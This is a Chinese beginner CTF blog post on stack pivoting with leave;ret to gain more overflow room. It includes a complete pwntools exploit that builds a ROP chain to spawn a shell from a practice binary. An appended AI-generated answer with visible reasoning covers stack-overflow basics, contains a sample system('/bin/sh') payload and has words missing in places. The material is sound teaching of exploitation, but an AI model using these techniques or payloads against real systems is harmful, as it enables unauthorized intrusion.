栈迁移之变相增加溢出长度(pwn入门)

写在前面:

在上一篇博客开头提到了

很多时候,程序给的溢出空间不够,仅仅只能溢出到rbp,或者是返回地址,这个时候去构造rop链条打程序就行不通了,没有多余的空间给你去构造rop链条,那么我们可以使用栈迁移的技术,先在一个位置布置好rop链条,然后把程序的执行流迁移到我们布置好rop链条的位置,让程序执行流执行踏入我们布置好了的地方,就相当于之前的那种构造rop链条的手段,但是多了一个迁移栈步骤

栈迁移之任意地址写(pwn入门)_任意地址写攻击-优快云博客

现在我就来讲下这个栈迁移的步骤

分析一下程序,发现程序首先会有一个输出,输出变量buf的地址,然后有一个输入,输入的长度是0x60,刚刚好可以溢出覆盖到rbp和返回地址。

同时函数也有一个后门函数backdoor,里面可以去执行一个system的函数,传入参数“/bin/sh\x00”就可以提权了

如果说溢出空间足够的话,那么其实我们可以采用最基础的ret2text打程序

payload = b'a'*padding+ p64(rdi_ret) + p64(binsh_addr) +p64(ret)+p64(system_addr)

用这种rop链就可以打通了,但是关键在于这道题的溢出长度并没有那么多,最多只能溢出到返回地址,所以采用栈迁移来打

由于这里程序给了一个栈空间地址的打印,那么我们可以调试一下这里打印的地址到底在哪里

那么我讲下怎么打这个程序

由于这个程序本身是没有/bin/sh字符串的,我们可以把/bin/sh字符串写在栈上,写在0xab的位置,如下图所示

然后就是leave_ret的妙用的,在返回地址的位置填入leave_ret的gadgets片段,这个也是栈迁移的核心之一

也就是leave一共会执行两次

发现没,我们本身整个程序的话虽然说溢出的地方只能溢出到返回地址,但是现在的话,我们通过这个栈迁移实际上把这个rsp又移回到了原本栈空间的这个地方来,也就是可以输入数据的这个地方来,那如果我们已经在这里布置好了rop链,也就是pop_rdi binsh_addr ret backdoor那么我们就相当于是ret2text的打法了,不过是利用了一下栈迁移

所以说虽然本身只能溢出一个返回地址,我们通过一个leave指令的两次利用,改变这个rsp的内容又回到我们原本栈空间这个地方来,能够让程序再进行ret操作的时候直接踏入我们布置好的rop链,然后直接提权拿shell

所以可以直接写脚本了

首先的话先把对应的gadgets都找到,抓pop_rdi和ret

ropper -f test2 --search 'pop|ret' |grep ret

leave指令的地址的话在IDA里面随便找一个就行的

然后接受一下打印出来的栈空间的地址也就是rsp的地址

stack = int(p.recv(14),16)
print("stack -->" + hex(stack))

最后布置一下rop链,原理上面已经分析过了

payload = flat([
0x1,
pop_rdi,
stack + 0x28,
ret,
backdoor,
b'/bin/sh\x00'
])

payload = payload.ljust(0x50,b'\x00')
payload += flat([
stack,
leave
])

唯一需要提的一个点就是/bin/sh的地址的偏移是多少怎么找到的,就是这个stack + 0x28这个0x28偏移怎么找到的呢,其实就是在gdb里面调试一下就知道了

边调试边看我们这样子构造输入的/bin/sh的位置距离我们泄露出来的地址的位置的距离是多少,相减一下就可以了

exp:

from pwn import *

context(log_level = 'debug',arch = 'amd64',os = 'linux')

p=process("./test2")
elf = ELF("./test2")
p.recvuntil(b"str1 is ")
stack = int(p.recv(14),16)
print("stack -->" + hex(stack))

leave = 0x4011DD
pop_rdi = 0x000000000040126f
ret = 0x000000000040101a
backdoor = 0x401248
#backdoor = elf.sym.backdoor

payload = flat([
0x1,
pop_rdi,
stack + 0x28,
ret,
backdoor,
b'/bin/sh\x00'
])

payload = payload.ljust(0x50,b'\x00')

payload += flat([
stack,
leave
])
p.recvuntil("input2:")
sleep(0.3)
p.send(payload)
sleep(0.3)
p.interactive()

写在最后:

如果说,不给我们打印rsp也就是栈的地址呢,那我们怎么做?

我们可以把栈空间迁移到另外一部分可读可写(rw)的空间里面去操作呀

比如说哪些内容可读可写呢?.bss段就是常见的一个空间

我们就可以把栈迁移到.bss段去

迁移方式的话还是可以利用这个leave指令去操作,但是需要结合read函数了(输入函数)

原理和本质还是一样

<think>嗯,用户想学习CTFShow平台上的PWN入门溢出攻击技巧,包括教程、原理和实例。好的,我需要先回顾溢出的基本原理,然后结合CTFShow的题目例子来解释。首先,溢出是覆盖返回地址来控制程序流程,对吧?比如覆盖返回地址为system函数,然后传入/bin/sh的参数。 那我要分步骤来讲解。可能先讲的结构,比如函数调用时的返回地址、局部变量这些。然后,如何通过溢出覆盖返回地址。可能需要提到缓冲区溢出,比如使用gets、scanf等不安全的函数导致输入超出缓冲区大小。 接下来,结合CTFShow的题目,比如pwn41到pwn48,这些题目可能涉及不同的利用技巧。例如,引用4提到bss段的buf2可以用来存储输入数据,传入/bin/sh给system。这可能是一个例子,需要具体说明如何构造payload,将参数放入合适的位置,并跳转到system函数。 用户可能还需要了解如何找到system函数的地址,以及如何获取/bin/sh字符串的地址。可能需要用到ROP技术,或者题目中已经提供了这些地址。另外,要注意内存保护机制,比如NX、ASLR,但入门题目可能这些保护都没开,所以可以直接执行上的代码或者覆盖返回地址。 然后,可能需要给出一个具体的例子,比如如何利用溢出执行system("/bin/sh")。步骤大概是:确定溢出点,计算偏移量,找到system地址,找到/bin/sh字符串地址,构造payload填充缓冲区并覆盖返回地址为system,同时传递参数。 此外,用户可能需要知道如何调试,使用gdb或者其他工具来确定偏移量和地址是否正确。还有,如何构造payload,比如使用Python的struct模块来打包地址为大端或小端格式,取决于目标架构。 可能的问题点包括:确定偏移量的正确位置,处理地址中的空字符,确保参数正确传递(比如32位和64位传参方式不同)。例如,32位下参数在中,而64位可能使用寄存器。但CTFShow的题目可能都是32位的,或者需要根据具体情况调整。 最后,要提醒用户注意实践时的细节,比如输入的处理,避免截断,以及利用现有的函数和字符串。可能还需要提到如何查找gadgets,但入门题可能不需要复杂的ROP,直接覆盖返回地址即可。 总结一下,回答的结构应该是先讲原理,再结合实例分步骤说明,最后给出相关问题和引用。需要确保LaTeX格式正确,比如寄存器用$eax$,地址用$0xdeadbeef$这样的格式。代码块用Python示例如何生成payload,可能还要提到如何利用题目中的特定函数或缓冲区。</think>### CTFShow PWN入门 溢出攻击技巧解析 #### 一、溢出基本原理 溢出是通过覆盖函数返回地址实现控制流劫持的技术。当程序使用不安全函数(如`gets`/`scanf`)时,若未对输入长度做限制,攻击者可构造超长输入覆盖帧中的返回地址,使其指向恶意代码或系统函数。例如,覆盖返回地址为`system("/bin/sh")`可实现获取shell[^4]。 帧结构示例: $$ \text{低地址} \rightarrow \text{缓冲区} \rightarrow \text{EBP} \rightarrow \text{返回地址} \rightarrow \text{高地址} $$ #### 二、攻击步骤拆解 1. **确定溢出点**:通过调试工具(如`gdb`)计算缓冲区到返回地址的偏移量。 - 使用`pattern create`生成测试字符串,观察崩溃时寄存器的值。 2. **获取关键地址**: - `system`函数地址:通过`objdump -d`或`gdb`的`p system`获取。 - `/bin/sh`字符串地址:若程序中存在可直接引用,否则需自行写入。 3. **构造Payload**: - 填充缓冲区至返回地址位置。 - 覆盖返回地址为`system`地址。 - 传递参数(如`/bin/sh`地址)。 #### 三、实例分析(以CTFShow pwn41为例) **题目场景**: 程序中存在`buf2`缓冲区(位于.bss段),可利用其存储`/bin/sh`字符串,并通过溢出调用`system`。 **攻击流程**: 1. **计算偏移量**: 通过调试确定`buf`到返回地址的偏移为`140`字节。 2. **构造Payload**: ```python from pwn import * system_addr = 0x08048460 # system函数地址 buf2_addr = 0x0804A080 # buf2地址 payload = b'A' * 140 + p32(system_addr) + p32(0xdeadbeef) + p32(buf2_addr) # p32(0xdeadbeef)为system返回地址,此处无意义 # p32(buf2_addr)为system的参数地址 ``` 3. **写入`/bin/sh`到buf2**: 若程序提供输入点,可提前将`/bin/sh`写入`buf2`。 #### 四、关键知识点 1. **函数调用约定**: - 32位程序:参数通过传递,调用格式为`system(返回地址, 参数)`。 - 64位程序:参数优先通过寄存器(`rdi`, `rsi`等)传递,需用ROP控制。 2. **内存保护绕过**: - 若开启NX(不可执行),需通过ROP实现攻击。 - 若开启ASLR,需泄露地址或使用固定地址函数。 #### 五、防御与优化 - 使用安全函数(如`fgets`替代`gets`)。 - 开启编译保护选项(`-fstack-protector`)。 - 地址随机化(ASLR)和不可执行(NX)。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值